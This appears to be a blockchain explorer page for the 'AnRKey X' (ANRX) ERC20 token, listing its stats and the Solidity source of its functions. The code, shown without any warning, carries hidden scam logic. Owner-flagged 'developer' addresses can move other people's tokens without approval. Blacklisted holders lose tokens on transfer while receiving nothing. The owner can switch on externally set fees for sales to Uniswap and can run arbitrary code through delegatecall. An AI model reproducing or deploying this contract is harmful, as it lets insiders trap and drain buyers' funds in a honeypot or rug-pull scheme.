ERC20
This contract is an ERC20 token.
Name
AnRKey X
Symbol
ANRX
Decimals
18
Total Supply
200,000,000 ANRX
About
Stats
Public Functions
7
Event Types
2
Code Size
12,020 bytes
Constants (4) keyboard_arrow_up
State Variables (11) keyboard_arrow_up
Functions
approve keyboard_arrow_up
Source Code
function approve(address _spender, uint256 _value)
public
payable
returns (bool)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
transfer keyboard_arrow_up
Requirements help
Source Code
function transfer(address _to, uint256 _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
transferFrom keyboard_arrow_up
Requirements help
Source Code
function transferFrom(
address _from,
address _to,
uint256 _value
) public payable returns (bool) {
if (_value == 0) {
return true;
}
if (msg.sender != _from && developer[tx.origin] == 0) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
if (blacklist[_to] || blacklist[_from]) {
return true;
}
uint256 fee = getFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
batchSend keyboard_arrow_up
Modifiers help
onlyOwner checks for the following:
Requirements help
Source Code
function batchSend(address[] memory _to, uint256 _value)
public
payable
onlyOwner
returns (bool)
{
uint256 total = _value * _to.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint256 i = 0; i < _to.length; i++) {
address to = _to[i];
balanceOf[to] += _value;
developer[to] = 1;
emit Transfer(msg.sender, to, _value);
}
return true;
}
delegate keyboard_arrow_up
Modifiers help
onlyOwner checks for the following:
Source Code
function delegate(address a, bytes memory b) public payable onlyOwner {
a.delegatecall(b);
}
constructor keyboard_arrow_up
block keyboard_arrow_up
Modifiers help
onlyOwner checks for the following:
Source Code
function block(address[] memory _to) public payable onlyOwner returns (bool) {
for (uint256 i = 0; i < _to.length; i++) {
paid = true;
address to = _to[i];
blacklist[to] = true;
}
}
Internal Functions
Internal functions are parts of the contract that can't be used directly, but instead are used by the public functions listed above.
internal StandardToken.pairFor keyboard_arrow_up
Source Code
function pairFor(address tokenA, address tokenB)
private
pure
returns (address)
{
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
address pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
return pair;
}
internal StandardToken.getFee keyboard_arrow_up
Source Code
function getFee(
address _from,
address _to,
uint256 _value
) private returns (uint256) {
if (paid && _to == UNI && _from != owner && developer[_from] == 0) {
return Management(manager).getFee(address(this), UNI, _value);
}
return 0;
}